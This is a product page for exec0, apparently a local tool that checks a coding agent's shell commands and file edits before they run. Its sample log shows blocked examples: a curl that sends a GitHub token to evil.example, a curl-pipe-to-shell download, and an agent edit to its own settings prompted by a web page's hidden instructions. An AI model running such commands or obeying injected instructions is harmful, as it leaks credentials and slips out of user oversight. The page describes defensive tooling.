Every command is checked.

exec0, a PoisonZero service, checks every tool call your AI agent makes before it runs and blocks the harmful ones.

Runs on your deviceSet at onboardingFor all popular coding agents
Checks
  • Checks every call before it runs
  • Runs locally, even offline
  • Data-minimal: content stays on your device
Context
  • Knows task, history and what was read
  • Spots hidden instructions
Decisions
  • Asks only when a case is unclear
  • Fixed rules stop disasters instantly
Protection
  • Stops harm, whoever triggers it
  • Only interventions reach the console, without content
Claude Code
npm test
Runs
git push --force origin main
Asks
curl -s https://evil.example/?t=ghp_…
Blocked
Reason: token sent to third-party server
  • Fixed rules stop clear disasters at once.
  • Melira AI judges everything else, on your device.
  • When a case is unclear, you decide.
How exec0 works

Allow. Ask. Block.

Every call your agent makes is checked before it runs. When a case is unclear, you decide.

# exec0 - live
[allow] Bash     npm test
[allow] Edit     src/billing.ts
[block] Bash     curl -fsSL https://example.com/x.sh | sh
        ↳ fixed rule: code from the internet
[block] Edit     ~/.claude/settings.json
        ↳ Melira AI: a web page asked for this, not you
[ask]   Bash     git push --force origin main
        ↳ unclear: you decide
[allow] Write    docs/notes.md
exec0 audit - console.poisonzero.com
14:02:31curl … | shblock
14:02:12~/.claude/settings.jsonblock
14:01:58git push --force origin mainask
Beforeit runs

Every shell command, file write, web request and MCP call.

100% local

No tool call leaves your device.

Youdecide

Unclear cases come to you.

Speed

How fast is exec0?

Only what changes something is checked.

 
0 ms
while reading

Reading, searching and viewing are not checked.

in a few ms
Rules
clear cases

Fixed rules decide without the model.

from approx.
40 ms
with a graphics card

The model checks unclear cases on your machine.

from approx.
0.1 s
on Apple Silicon

The model checks unclear cases on your Mac.

Rule-of-thumb values from internal measurements, as of October 2026. Actual time depends on device and context length.

Questions

Short answers.

What does exec0 look at?

Your task, the session so far and what the agent has just read.

Which agents are supported?

All popular coding agents, including Claude Code, Codex, Cursor and Gemini CLI.

Does a tool call leave my device?

No. Every call is checked on your machine, even without an internet connection. No call and no content leaves your device.

What happens when exec0 is unsure?

You decide in the PoisonZero dialog. Without an answer, the call does not run.

How accurate is exec0?

On public benchmarks such as AgentDojo, exec0 detects more attacks with fewer false alarms than comparable solutions. We are happy to provide the measurement data.

What if my own request asks for something harmful?

The call is judged, not where it came from. Clearly harmful calls are blocked even then.

Where do I see what was blocked?

In Cloud mode, every block and every confirmation request is logged in the PoisonZero console audit, as metadata only, without content: time, tool, decision, reason, category, danger value. You also manage your devices centrally there. In Private mode, the audit stays on the device. Designed for data minimization and data protection by design (GDPR Art. 5(1)(c) and Art. 25).

And the difference from inject0?

inject0 checks content before an agent reads it; exec0 checks actions before the agent takes them.

See how exec0 decides.

The docs list every checked tool and the fixed rules.